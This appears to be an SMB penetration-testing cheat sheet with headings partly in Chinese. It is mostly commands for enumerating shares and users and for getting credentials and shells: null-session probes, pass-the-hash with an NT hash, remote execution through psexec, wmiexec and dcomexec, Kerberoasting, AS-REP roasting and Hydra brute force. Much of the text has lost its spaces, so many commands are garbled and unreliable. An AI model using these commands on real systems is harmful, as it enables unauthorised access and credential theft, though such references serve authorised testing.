#!/bin/sh#Author: rewardone#Description:# Requires root or enough permissions to use tcpdump# Will listen for the first 7 packets of a null login# and grab the SMB Version#Notes:# Will sometimes not capture or will print multiple# lines. May need to run a second time for success.if [ -z $1 ]; thenecho"Usage: ./smbver.sh RHOST {RPORT}"&&exit; else rhost=$1; fiif [ !-z $2 ]; then rport=$2; else rport=139; fitcpdump-s0-n-itap0src $rhost andport $rport -A-c72>/dev/null|grep-i"samba\|s.a.m"|tr-d'.'|grep-oP'UnixSamba.*[0-9a-z]'|tr-d'\n'&echo-n"$rhost: "&echo"exit"|smbclient-L $rhost 1>/dev/null2>/dev/nullecho""&&sleep.1
#Dump interesting informationenum4linux-a [-u "<username>"-p"<passwd>"]<IP>enum4linux-ng-A [-u "<username>"-p"<passwd>"]<IP>nmap--script"safe or smb-enum-*"-p445<IP>#Connect to the rpcrpcclient-U""-N<IP>#No credsrpcclient//machine.htb-Udomain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb--pw-nt-hashrpcclient-U"username%passwd"<IP>#With creds#You can use querydispinfo and enumdomusers to query user information#Dump user information/usr/share/doc/python3-impacket/examples/samrdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/samrdump.py-port445 [[domain/]username[:password]@]<targetName or address>#Map possible RPC endpoints/usr/share/doc/python3-impacket/examples/rpcdump.py-port135 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port139 [[domain/]username[:password]@]<targetName or address>/usr/share/doc/python3-impacket/examples/rpcdump.py-port445 [[domain/]username[:password]@]<targetName or address>
smbclient--no-pass-L//<IP># Null usersmbclient-U'username[%passwd]'-L [--pw-nt-hash] //<IP>#If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hashsmbmap-H<IP> [-P <PORT>]#Null usersmbmap-u"username"-p"password"-H<IP> [-P <PORT>]#Credssmbmap-u"username"-p"<NT>:<LM>"-H<IP> [-P <PORT>]#Pass-the-Hashsmbmap-R-u"username"-p"password"-H<IP> [-P <PORT>]#Recursive listcrackmapexecsmb<IP>-u''-p''--shares#Null usercrackmapexecsmb<IP>-u'username'-p'password'--shares#Guest usercrackmapexecsmb<IP>-u'username'-H'<HASH>'--shares#Guest user
连接/列出共享文件夹
#Connect using smbclientsmbclient--no-pass//<IP>/<Folder>smbclient-U'username[%passwd]'-L [--pw-nt-hash] //<IP>#If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash#Use --no-pass -c 'recurse;ls' to list recursively with smbclient#List with smbmap, without folder it list everythingsmbmap [-u "username"-p"password"]-R [Folder] -H <IP> [-P <PORT>] # Recursive listsmbmap [-u "username"-p"password"]-r [Folder] -H <IP> [-P <PORT>] # Non-Recursive listsmbmap-u"username"-p"<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
smbclient-U'%'-N \\\\<IP>\\<SHARE># null session to connect to a windows sharesmbclient-U'<USER>' \\\\<IP>\\<SHARE># authenticated session to connect to a windows share (you will be prompted for a password)
或此脚本(使用空会话)
#/bin/baship='<TARGET-IP-HERE>'shares=('C$''D$''ADMIN$''IPC$''PRINT$''FAX$''SYSVOL''NETLOGON')for share in ${shares[*]}; dooutput=$(smbclient-U'%'-N \\\\$ip\\$share -c'')if [[ -z $output ]]; thenecho"[+] creating a null session is possible for $share"# no output if command goes through, thus assuming that a session was createdelseecho $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)fidone
示例
smbclient-U'%'-N \\\\192.168.0.24\\im_clearly_not_here# returns NT_STATUS_BAD_NETWORK_NAMEsmbclient-U'%'-N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
从Windows枚举共享/无需第三方工具
PowerShell
# Retrieves the SMB shares on the locale computer.Get-SmbShareGet-WmiObject-Class Win32_Share# Retrieves the SMB shares on a remote computer.get-smbshare-CimSession "<computer name or session object>"# Retrieves the connections established from the local SMB client to the SMB servers.Get-SmbConnection
CMD 控制台
# List shares on the local computernetshare# List shares on a remote computer (including hidden ones)netview \\<ip>/all
#If no password is provided, it will be prompted./psexec.py [[domain/]username[:password]@]<targetName or address>./psexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hashpsexec \\192.168.122.66-uAdministrator-p123456Wwpsexec \\192.168.122.66-uAdministrator-pq23q34t34twd3w34t34wtw34t# Use pass the hash
通过 端口 135 隐秘地执行命令 shell,而不接触磁盘或运行新服务,使用 DCOM。
在 kali 中,它位于 /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted./wmiexec.py [[domain/]username[:password]@]<targetName or address>#Prompt for password./wmiexec.py-hashesLM:NTadministrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
使用 parameter-k 你可以使用 kerberos 进行身份验证,而不是 NTLM
#If no password is provided, it will be prompted./dcomexec.py [[domain/]username[:password]@]<targetName or address>./dcomexec.py-hashes<LM:NT>administrator@10.10.10.103#Pass-the-Hash#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'